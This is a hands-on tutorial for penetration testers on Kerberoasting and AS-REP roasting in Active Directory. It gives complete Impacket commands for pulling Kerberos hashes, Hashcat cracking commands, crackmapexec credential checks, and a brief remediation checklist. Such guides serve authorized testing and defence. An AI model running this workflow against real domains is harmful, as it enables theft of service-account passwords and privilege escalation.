Step-by-Step Hands-On Guide: Kerberoasting and AS-REP Roasting with Impacket & Hashcat

# Hands-On Guide: Kerberoasting & AS-REP Roasting in Active Directory

This hands-on tutorial guides security analysts and penetration testers through the complete workflow of discovering and exploiting Kerberos pre-authentication and SPN ticket weaknesses within Active Directory environments.

---

## Prerequisites & Tools

- Operating System: Kali Linux / Arch Linux / Security Workstation
- Python 3.10+
- Impacket toolkit (`pip install impacket`)
- Hashcat (GPU/CPU hash cracking framework)
- Wordlist: `rockyou.txt` or custom targeted rule dictionary

---

## Phase 1: Identifying & Extracting AS-REP Hashes

AS-REP Roasting targets accounts that have the `DONT_REQ_PREAUTH` flag enabled in Active Directory.

### Step 1.1: Run Impacket GetNPUsers
Execute `GetNPUsers` against the domain controller specifying a target domain and candidate username list:

```bash
impacket-GetNPUsers enterprise.local/ -usersfile usernames.txt -no-pass -format hashcat -outputfile asrep_targets.txt -dc-ip 10.10.10.10
```

### Step 1.2: Hashcat Cracking (Mode 18200)
Run Hashcat with mode `18200` (Kerberos 5, etype 23, AS-REP):

```bash
hashcat -m 18200 -a 0 asrep_targets.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
```

---

## Phase 2: Requesting & Extracting Kerberoast TGS Tickets

Kerberoasting targets accounts with a Service Principal Name (SPN) set, usually dedicated service accounts.

### Step 2.1: Enumerate Service Principal Names & Request TGS
Using valid domain credentials (even lowest privilege):

```bash
impacket-GetUserSPNs enterprise.local/svc_reader:ReadPassword123! -request -dc-ip 10.10.10.10 -outputfile kerberoast_tgs.txt
```

### Step 2.2: Hashcat Cracking (Mode 13100)
Run Hashcat with mode `13100` (Kerberos 5, etype 23, TGS-REP):

```bash
hashcat -m 13100 -a 0 kerberoast_tgs.txt /usr/share/wordlists/rockyou.txt --force
```

---

## Phase 3: Verification & Post-Exploitation Validation

Once a hash is cracked:
1. Verify the credential using `crackmapexec smb 10.10.10.10 -u 'target_svc' -p 'CrackedPassword!'`
2. Check group membership using `impacket-rpcclient` or LDAP search.
3. If the account belongs to privileged groups (e.g., `Server Operators`, `DNSAdmins`), proceed with authorized escalation paths.

---

## Verification & Remediation Checklist

- [x] Rotate passwords for all service accounts with SPNs.
- [x] Migrate legacy service accounts to Group Managed Service Accounts (gMSA).
- [x] Enable Kerberos Pre-Authentication on all user objects.